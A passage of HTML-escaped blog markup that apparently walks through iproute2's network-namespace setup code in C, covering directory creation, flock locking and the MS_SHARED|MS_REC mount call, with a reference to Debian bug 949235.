&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;838
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;839
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-C&#34; data-lang=&#34;C&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nf&#34;&gt;create_netns_dir&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;())&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;code&gt;create_netns_dir()&lt;/code&gt; is&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-C&#34; data-lang=&#34;C&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mkdir&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;NETNS_RUN_DIR&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;S_IRWXU&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;S_IRGRP&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;S_IXGRP&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;S_IROTH&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;S_IXOTH&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;plus some error handling.
Those flags add up to &lt;code&gt;755&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;So far, so good.
Now, buckle up!&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;841
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;842
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;843
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;844
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;845
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-C&#34; data-lang=&#34;C&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;cm&#34;&gt;/* Make it possible for network namespace mounts to propagate between
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cm&#34;&gt;	 * mount namespaces.  This makes it likely that a unmounting a network
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cm&#34;&gt;	 * namespace file in one namespace will unmount the network namespace
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cm&#34;&gt;	 * file in all namespaces allowing the network namespace to be freed
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cm&#34;&gt;	 * sooner.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Funny word, &amp;ldquo;likely&amp;rdquo;.
This code puts in a lot of effort to make something only &amp;ldquo;likely&amp;rdquo;!&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;846
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;847
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;848
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;849
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;850
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;851
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-C&#34; data-lang=&#34;C&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	 &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;These&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;setup&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;steps&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;need&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;to&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;happen&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;only&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;once&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;as&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;multiple&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ip&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;processes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	 &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;try&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;to&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;attempt&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;the&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;same&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;operation&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;at&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;the&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;same&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;time&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;the&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;mountpoints&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;will&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	 &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;be&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;recursively&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;created&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;multiple&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;times&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;eventually&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;causing&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;the&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;system&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	 &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;to&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;lock&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;up&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;For&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;example&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;this&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;has&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;been&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;observed&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;when&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;multiple&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;netns&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	 &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;namespaces&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;are&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;created&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;parallel&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;at&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;boot&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt; &lt;span class=&#34;nl&#34;&gt;See&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	 &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt; &lt;span class=&#34;nl&#34;&gt;https&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;c1&#34;&gt;//bugs.debian.org/949235
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;You should go read &lt;a href=&#34;https://bugs.debian.org/949235&#34;&gt;Debian bug 949235&lt;/a&gt;, I&amp;rsquo;ll wait.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;852
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;853
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;854
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;855
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;856
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;857
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;858
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;859
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;860
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;861
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;862
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;863
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;864
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;865
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;866
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;867
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-C&#34; data-lang=&#34;C&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	 &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Try&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;to&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;take&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;an&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;exclusive&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;file&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;lock&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;on&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;the&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;top&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;level&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;directory&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;to&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ensure&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	 &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;this&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;cannot&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;happen&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;but&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;proceed&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;nonetheless&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;it&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;cannot&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;happen&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;any&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	 &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;reason&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	 &lt;span class=&#34;err&#34;&gt;*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;n&#34;&gt;lock&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;open&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;NETNS_RUN_DIR&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;O_RDONLY&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;O_DIRECTORY&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;lock&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;nf&#34;&gt;fprintf&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;stderr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;Cannot open netns runtime directory &lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\&amp;#34;&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;%s&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\&amp;#34;&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;: %s&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\n&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&lt;span class=&#34;n&#34;&gt;NETNS_RUN_DIR&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;strerror&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;errno&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nf&#34;&gt;flock&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;lock&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;LOCK_EX&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;nf&#34;&gt;fprintf&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;stderr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;Warning: could not flock netns runtime directory &lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\&amp;#34;&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;%s&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\&amp;#34;&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;: %s&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\n&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&lt;span class=&#34;n&#34;&gt;NETNS_RUN_DIR&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;strerror&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;errno&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;nf&#34;&gt;close&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;lock&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;n&#34;&gt;lock&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Pretty standard cooperative locking code.
One of the many parts that any piece of software that wants to work with &lt;code&gt;ip&lt;/code&gt;&amp;rsquo;s named network namespaces needs to copy.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;868
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-C&#34; data-lang=&#34;C&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;k&#34;&gt;while&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nf&#34;&gt;mount&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;NETNS_RUN_DIR&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;none&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;MS_SHARED&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;MS_REC&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;NULL&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Let&amp;rsquo;s unpack this one.
A while-loop around &lt;code&gt;mount&lt;/code&gt;?
Weird, let&amp;rsquo;s hope there is an escape later!&lt;/p&gt;
&lt;p&gt;So, &lt;code&gt;mount&lt;/code&gt;.
I opened this bit of code hoping to learn how to netlink my way in and out of namespaces.
Now we are learning about mounts.
Aren&amp;rsquo;t computers fun?&lt;/p&gt;
&lt;p&gt;The prototype for &lt;code&gt;mount(2)&lt;/code&gt; is:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;int mount(const char *source, const char *target,
          const char *filesystemtype, unsigned long mountflags,
          const void *data);
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;So, we have: source &lt;code&gt;&amp;quot;&amp;quot;&lt;/code&gt;, target &lt;code&gt;/var/run/netns&lt;/code&gt;, fstype &lt;code&gt;none&lt;/code&gt;, two flags ORed together, and no data.
What are we mounting?
Nothing?
It turns out this call only tries to change the parameters of an existing mount.
Specifically, these two flags are set:&lt;/p&gt;
&lt;dl&gt;
&lt;dt&gt;MS_SHARED&lt;/dt&gt;
&lt;dd&gt;Make this mount point shared.  Mount and unmount events immediately under this mount point will
propagate  to  the other mount points that are members of this mount&amp;rsquo;s peer group.  Propagation
here means that the same mount or unmount will automatically occur under all of the other mount
points  in  the  peer  group.   Conversely, mount and unmount events that take place under peer
mount points will propagate to this mount point.&lt;/dd&gt;
&lt;dt&gt;MS_REC&lt;/dt&gt;
&lt;dd&gt;Used  in conjunction with MS_BIND to create a recursive bind mount, and in conjunction with the
propagation type flags to recursively change the propagation type of all of  the  mounts  in  a
subtree.  See below for further details.&lt;/dd&gt;
&lt;/dl&gt;
&lt;p&gt;So, this call attempts to implement the first large comment, about making it possible for &amp;ldquo;network namespace mounts to propagate between mount namespaces&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;If the code inside this &lt;code&gt;while&lt;/code&gt;-loop has run at least once since system startup (or since somebody destroyed &lt;code&gt;/var/run/netns&lt;/code&gt;, of course), this call succeeds and we continue after the loop.
But, let&amp;rsquo;s see what happens the first time.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;869
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;870
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-C&#34; data-lang=&#34;C&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;cm&#34;&gt;/* Fail unless we need to make the mount point */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;errno&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;!=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;EINVAL&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;||&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;made_netns_run_dir_mount&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Ah, the second round will always end - either in success or failure.
Good.&lt;/p&gt;
&lt;p&gt;If &lt;code&gt;/var/run/netns&lt;/code&gt; was not completely set up before (because this code runs for the first time), the &lt;code&gt;mount&lt;/code&gt; call indeed fails with &lt;code&gt;EINVAL&lt;/code&gt;.
This is accepted only if &lt;code&gt;made_netns_run_dir_mount&lt;/code&gt; is false, which right now it is.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
